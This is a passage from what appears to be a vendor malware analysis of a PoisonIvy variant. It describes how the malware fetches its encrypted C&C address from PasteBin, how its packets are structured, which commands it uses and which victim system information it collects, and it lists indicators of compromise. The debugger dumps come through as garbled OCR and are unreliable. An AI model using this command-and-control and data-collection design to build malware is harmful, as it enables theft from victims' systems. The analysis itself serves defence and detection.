
35, self.process.run()

28. def main(self):

helloworld.runi)

Encrypted IP and Port

22, [if _name_ = "__main_ ":

33, win32serviceutil.HandleCommandLine({dvbbhEsL@hulplpaaesClenzsdv]})

Figure 14. Encrypted C&C IP address and Port on PasteBin

Let’'s see what we can see after decryption in Figure 15.
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- | —_—r -

. —
= 4% &3 D2 mowsxd rdx,eds ;I
® || 00000000002 22EDF 4Z EB D1 Mo L0, T i
@ | Dooo000000z222EEZ 4L BB D2 mow rlid,rad
@ || 000000000022 2EES 4% 85 D2 test rdx,rds
jmmm == e || DOOOOOOOOOZZZEES| ~ FE 30 J1e z22F1A
i ® || 000000000022 2EEA 40 2B DO sub rilo,rs
i p--—re | 0000000000222EED 43 5A 04 02 mow al ,byte ptr ds:[rlo+rs]
! ! @ || 00000000002 22EFL 4L £2 €9 CE F92 33 01|dimul ro9d,rsd,1332F9CS
. @ || 00000000002 22EFS 4L &B DB 132 imul rild,r1ld,132
! i @ || 00000000002 22EFC 41 &1 F1 <2 7F 33 05 |xor r3d,S5357FC2
0 f @ || 0o00oooOooo0z22F032 41 53 EE 17 sub rilid,17
| | @ | DooooooOoozz22FO0F 41 84 C9 mow c1,r2hb
! ! @ || 0000000000222 F0A 41 24 CB sub cl,rllb
! ! @& || 0000000000z22F00 3z 21 ®or al,cl
b @ | 000000000022 2F0F 41 &8 00 mow byte ptr ds:[ra],al
! i @ | Doooo0oO00z222F12 49 FF <0 inc K&
o @ || 000O00O000z222F1s 45 FF CA dec rd=
! \e———# || DOOODOOOOOZZ2F1E| ~ FE O3 jne 222EED ;
[ujuyuyuyuyujuyuyul FlA 33 0 HOr B, B A 4
c3 ret |
cC ints bl |3
4| | s
Oooooooo00z22F1C
Wl Dump 1 | W Dump 2 | Wy Dump 3 | Wl Dump 4 | Wl Dump 5 I 5% watch 1 I ?Structl 00000000002 1F
~ et
0000000000 FEBGER |5F EF &E &1 (&0 &5 GF S5F |20 30 20 20|27 5F 5F &0 __name__ = 'T_m 00o0o00onnoz 1F
O00000O00OEFBEFE | &1 &2 GE SF|GF 27 24 00| 0~ 20 20 20|77 69 €E 22 |ain__':.. WwWinz 00000000002 LF
0000000005 FEBFOB | 32 73 &5 72|76 &% &3 &5 |75 74 &9 &C|ZE 48 &1 &E 0000000000z 1F
OOCO0000005FEBF1E | &4 =C &5 432 | g 0 =0 &1 |sE &4 4C &3 |6E &5 285 TB 0o00000000z1F
OO00o00000SFEF2E | D2 OE OO 10 31 37|32 Z2E 31 30|34 2E 31 Z0O|I oo0oooononz1F
00000000 aSFEFIE |30 2E 25 23 |00 OO0 &5 E7F (7 73 &4 7|70 29 00 OA 0O00000000z 1F
0OCO0000005FEBF4E | 20 20 20 OD|0A 44 34 B0 |72 &6F &7 72 |el &0 &0 73 .« U2 FF AT 0000000000z 1F
O000000000SFEFSE (S50 79 74 65 |6F 6E 33 ZE |36 2E 32 4C |69 &2 73 63| Python3.s.zLibsi ooonononnoz 1F
QOC00O00000ASFEBFG&E | 74 &5 20 7O|el &3 eB &l |&f &5 73 70|73 70 &3 77 ;e—packagespyp1w o0o0o0onnoz 1F
0000000000 FEBFFE | &2 GE 33 32 |(5F 73 792 73|74 &5 &0 33|32 0D 04 20(iNn32_swstemidd.. 0000000000z 1F
0OCO000000SFEBFSE | 20 20 20 44|34 B0 72 &F |&F 72 &1 &D|eD 73 EO 739 D:Prugr@ﬂﬂ;Py 00000000002 LF
O00000000OSFEFOE |74 &8 &F EE |32 2E 26 2E|32 4C &9 &2 |73 62 74 &5 | thon3.&6.2Libsite 0000000000z 1F
O000000000SFEFAE [ 20 70 &1 &3 |6B &1 &7 &5 |73 77 6% 6E|33 32 3C 2F|-packageswin3dz«</ o0o0o00onnoz 1F
00000Q000ASFEFEBE |74 &5 78 74|61 72 €5 &1 |32E 0D 0A 09|3C 2F &4 69| fextareasx...«</ di 0000000000z 1F
O000000O000SFEFCE |76 3E 3C 64|69 76 20 69|64 30 22 61|62 72 70 &0 |w=<diwv id="abrpm 0000000000z 1F
O000000000SFEFOE |33 22 2E 3C|2F &4 69 F&|2E 0D 0A 09|09 02 3C 64| 3"s< dive. ... =d 0000000000z 1F
OO00000000SFEFEE (69 78 20 73|74 73 &C &5 |30 22 70O &l|64 &4 &3 6E|1iw style="paddin ooonononnoz 1F
0OO00000000SFEFFE | &7 24 20 21|30 70 78 20|20 20 30 20|30 3B 22 FE|(gQ: 10p= 0 Q 0;'= o0o0o0onnoz 1F
OO0000000QSFES0E | OD 0& 0% 02|09 0% 2C 73 (&3 72 6% 70|74 20 74 73| ... .. ﬁSEﬁ1ﬂt T 0000000000z 1F
0OC00000005FEBE1E | 70 &5 20 22|74 &5 75 74 |2F &4 &1 Fe|gl 73 &3 72 pE=”tEthJaV&5EP 00000000002 LF
goCoooo0o000sFESZ2EB |22 FO F4 22 |3E 2C 21 zD |20 0D OA QS| 0% 0% 059 09 1pt”}{!——..i.... 0000000000z 1F
O000000000SFES3E (S5 39 20 30|20 6E 65 77|20 4F 62 GA|6S &3 74 25| ed = new Object( — N N R T L 2
OO00000C00EFES4E | 22 3E OD OQA(O2 0% 09 09|02 &5 359 ZE|73 &% 74 &G ;'ﬁ ..... e3,57z2e _:J 4

Figure 15. Decrypted IP address and Port

From Figure 15, we can determine that the decrypted C&C server IP address is
172.104.100.53 and the Port is 1BBH i.e. 443. It should be noted that the IP addresses and
Ports on the four pages are not the same. The author of this malware can update these IP
addresses and Ports by simply updating the python codes on the four PasteBin pages.

Communicating with the C&C server

The malware starts connecting and sending data to its C&C server once it gets the IP
address and Port. All the packets traveling between the malware and its server are
encrypted using a private algorithm. The structure of the packet is like this: (the first 14H
bytes is the header part, from 14H on is the data part)

+00 4 bytes
+04 4 byte,
+0c 4 bytes
+14 4 bytes.

are a key for encryption or decryption.

are the packet command.

is the length in bytes of the data portion of the packet.
From this point on is the real data.
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Once the malware has connected to the server, it first sends a “30001” command, and the
server replies with command “30003”. The command “30003” requests the client to collect
the victim’s system information. Once the malware receives this command, it calls tons of
APIs to collect the system information.

« |t gathers the system's current usage of both physical and virtual memory by calling
GlobalmemoryStatusEx.

o |t gets the CPU speed from the system registry from
“‘HKLM\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0\~MHZz".

« |t gets the free disk space of all partitions by calling GetDiskFreeSpaceEXxA.

« |t gets the CPU architecture by calling GetNativeSyssteminfo.

« |t collects display settings by calling EnumDisplaySetting.

e |t collects file information from kernel32.dlII.

e |t gets the current computer name and user name by calling GetComputerName and
GetUserName.

|t also gets the System time by calling GetSystemTime, and the system version by
calling GetVersionEx.

« Finally, it copies the svchost.exe’s full path and a constant string, “PasteBin83”, which
is from the decrypted configuration data (see Figure 13 again).

In Figure 16 you can see the collected system information before encryption. Figure 17

shows the data after encryption as it's about to be sent to the C&C server. The first four bytes

are used to encrypt or decrypt the following data.

el Dump 1

Address Hex ASCII A]I
000000000055 8540 (7B 66 Bl J0M00 03 00 03§00 00 00 00(00 00 00 CB| {T+0..........- E
000000000055 3550 44 LB L8 SE |89 84 00 10|00 00 00 0A ...EDEEb: .......
000000000055 8560 | 00 02 OF 0A OO0 02 OF OO0 EO F& FF OO0 00 00 00 50 ........ agy....F
0000000000558570 |00 00 00 02|00 00 00 01|00 o0 oo 0000 20 00 00 ... .eeeeeeeeaaa.
000000000055 8580 | F0 3F F3 13 |00 00 00 00|04 00 00 00|03 00 00 O0F | Balleeseesesnnnns

0o0oo00000S5 38550 | 04 00 OO0 01 |74 AF 10 S0|0E OO0 OO O0j00 00 00 oo ....T JPF........
000000000055 E5A0 | 00 OO OO0 0& 00 01 00 01|00 Bl 10 05 00 00 00 11 ... 5
000000000055 35E0| 03 12 03 00 2B 11 03 15|05 22 33 40|00 00 00 o0 .
00000000005 EEEC0 | BE 82 A6 D8 |72 02 F2 S0 00 SF OO0 97 00 BD OO0 =20
000000000055 3500 | 00 CF 00 CF |00 00 00 52 &5 72 F& &9 |62 &5 20 B0
00000000005585E0 |61 &3 6B 20|31 00 54 &5|&85 50 43 54|43 00 &E &
000000000055 35F0 | 60 &5 F3 00|42 34 LT B 69 GE &4 &F (X7 F3 LBC 73
000000000055 8600 |73 F3 74 &5 |60 33 32 SC|73 F& 63 68 |6F 73 74 ZEWwstem3zhswchost.
o0oooo00000sE8610 | 65 8 &5 00|50 &1 F2 74 65 42 &5 &E |38 23 00 00 e.Fastegins3.
000000000055 3620 | 00 OO 00 Q0|00 00 00 00|00 00 00 00|00 00 00 00| o . e eas
00000000005 53630| 00 00 00 00|00 00 00 00|00 00 a0 o000 00 00 00 ... i
000000000055 3640 | 00 00 OO0 00|00 00 00 00|00 OO0 00 00|00 00 00 00) .. e eeaaeannnsnns
000000000055 3650 | 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00) .. e eeaaeannnsnns
000000000055 36e0 | 00 OO0 OO0 OO0 |00 00 00 00|00 OO0 OO0 00|00 00 00 00) .. e eeaaeennnsnns

Y [ s PR ¥

WELEL L o BEMAIEE
ack 1.TheRCTC.na

meEy .2 W ndowst s

000000000asE 3670 | 00 00 OO0 00|00 00 00 00|00 OO0 00 00|00 00 00 00) .. e eeaaeennnsnns =
000ooo0000SE3eE0 | 00 00 00 00|00 00 00 00|00 OO0 00 oo |00 00 00 00 s seeansnnnnnnnn
000000000055 Ee30 | 00 00 00 00|00 00 00 0000 00 00 00 %00 00 00 00| @ eeeneeennnnns _IJ

Figure 16. Collected information from the victim’s system

18/20



xb64dbg - File: s¥chost.exe - PID: B50 - Module: ws2_32.dll - Thread: Main Thread C7C

File Wiew Debug FPlugins

Favourites

Opkions

Help Mar 16 2017

=10l

coEzi|fe|tal@ibemadacrw Bk L BEOTR| »

ﬁCPU | ﬁGraph | | .7 Log | | Motes | ® Breakpoints | [## Memory Map | |:| Call Stack | ‘=7 SEH | I3 Seript | ‘ESymbols |jl

O0000FFEFEQASDOE
O0000FFEFEQASOOA
000007 FEFEQASOOE
00000FFEFEQASQOD
O0000FFEFEQASQOF
O0000FFEFEQASOLR
O0000FFEFEQASOLA
O0000FFEFECASOLD
O0000FFEFEQASOZO

Jl

mow gward ptr ss:[rsptl0] ,rbp
mow gward ptr ss:[rsp+l3],rsi
push rdi
push riz
push riz

sub
Tea
®ar
mow
maov

rsp,70

rax ,qword ptr ds: [ FFEFEQAL

ri3d,rizd

esi,rad
ebp,rsd

Wiy Dump 1 | Wy Dump 2 I il Dump 3 I

qword prr[rsp+l0]=[000000000021E725]=00000000005F02E0
rhp=00000000002 1ES10
. Text:00000FFEFENASOND ws2_32.d171:$5000 #7600 <sends

send - i
[r‘s_pxlﬁ]—l Hide FPU
EE;;”§“$}—J RAX  000007FEFE0AS0OD <wsz_32.sends
REX  000000000000000F R
RCX  00000000000001A4 L'
RDX  0000000004241430 g
REP  000000000021ESL0
RSP  000000000021E7ZE
Il RST  oooooooooOSFOZED
> RDI  0000000004241430 N Pl
RS 000000000000000F B
oQ ininininininininininiainlninininl I_

W4 Dump 4 I W Dump 5 I 2 watch 1 I 2 ahruct I

00000000002 1E

00000000002 1E72S B
Address HE SEEI N 00000000002 1E740 [E
0000000004241430 (7B && Bl 30041 28 25 11|AS DE CO GA|91 16 F& 49| {T£0A%, @01, . .01 PR EaaE
0000000004241440 [P CE 90 AE D 0D CC|CO 34 FE o #1. Thdmz1d.h E
0000000004241450 |99 AC 32 DO|81 E4 A Dz |09 2 44|01 DE 35 12| .-2 . ToIRdE . DOEHDDPEHDRN B0 .=
00000000042 41460 | 24 SE DD BS |21 Cé 05 B3 FE AD 24|71 BE D5 22| 4.V, 1E. T wqTd" 00000000002 1EFSS E
0000000004241470 |23 F1 84 89 |C1 A6 A5 5#120 SE 4D 0Af12 28 75 OB Jf..A ¥ Ak . u. 0000000000z 1EFE0 E
0000000004241450| 70 4E 10 FE|1E 29 55 #2|C2 2E ED EA|B1 7& 15 E2|IH.{.)U"B=iEkwv.d 000000000021E7E3 (B
0000000004241450(19 2E BD 5c|01 67 ES E3|69 AF 90 C3|51 56 BS D3 |..K%.Qds5i . Afvpd 000000000021E770 | O
00000000042 41440 | BA 1C 55 237 |84 57 86 0C CC 14 EAFL 36 55 AZ[e.u7.w.'.I.&8heud 00000000002 1E7 7S | O
00000000042 414E0 |DF 62 5B €2 (23 24 DF 9AA9 51 CD 10|91 AE F5 1F |x1[&A3fx.@0# . «f. 000000000021E7E0) 0
00000000042414C0 | F9 03 90 30|E1 06 €5 Al|®e,CC 1B 03|52 93 B& 32|0..=4. RNTE ol
0000000004241400|F8 CO 56 FA|BO EE 31 BA|&C 1E |92 O 5B 23 |afulswTe, TN..O[# @O BN 0| 6
00000000042414E0 |54 EE A4 BA|62 FC 53 ES|E0 10 €9 T Tese hilvad. EE. A0 I [LOEEEITEIEES | ©
00000000042 414F0| A0 1D 09 FF|AC 95 97 CE|SA 28 2E 62 |7E E5 01 2C| ..9-..1Z(.b~&., 000000000021E7AD | Oy
0000000004241500 | 1€ 36 78 74|31 EF 36 06 | AC 7C 84 84|83 45 15 AE| . 6XZLICE.-|...E.x gggggggggggig;gg g
0000000004241510 | AE AE AE AE|AE AB AE AB|AE AE AB AB|[AB AB AB FE|sccsccxaqssssssp 00000000002 1E7EE | @
0000000004241520(00 00 00 00(00 00 00 00(00 00 00 00|00 00 00 00|, .eesessneennens e -
0000000004241530 |EE FE EE FE|EE FE EE FE|4E A 14 7F[7F 0a 02 3E[TpipipipMi..... = | ‘? 1 »
nonnoonnona>>d41cd4nl 21 »*EF 22 2F 1 2¢ 22F 21 *E |12 »F 2C 2127 2 223 2E11 2 & 1 E £ F 3

Zommand: I

IDeFauIt

=l

| Paused

|Dump: 000000000424 1430 - > 0000000004241430 (0x00000001 bytes)

|Time Wasted Debugging: 0:01:42:11

Figure 17. Encrypted system information from victim’s system

From my analysis during the malware runtime, | could determine that the malware keeps
obtaining the C&C server’s IP address from PasteBin and communicating with the C&C
server in an infinite loop (by calling Sleep(1000) to suspend the execution).

So far, | only saw that the commands “030001” and “030003” are used. I'll continue to

monitor and analyze the malware’s behavior to see what else it will do.

Solution

The FortiGuard Antivirus service has detected the files "Payment_Advice.ppsx" as
MSOFFICE/Poisonlvy.Altr.dldr and "Thumbs.bmp" as MSOFFICE/Poisonlvy.Altr.

I0C

URL:

hxxp://203.248.116.182/images/Thumbs.bmp

Sample SHA-256 hashes:

Payment_Advice.ppsx
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E7931270A89035125E6E6655C04FEE00798C4C2D15846947E41DF6BBA36C75AE
Thumbs.bmp
A3EBECF21D2A8046D385160CA7E291390E3C962A7107B06D338C357002D2C2D9

Sign up for weekly Fortinet FortiGuard Labs Threat Intelligence Briefs and stay on top of the
newest emerging threats.
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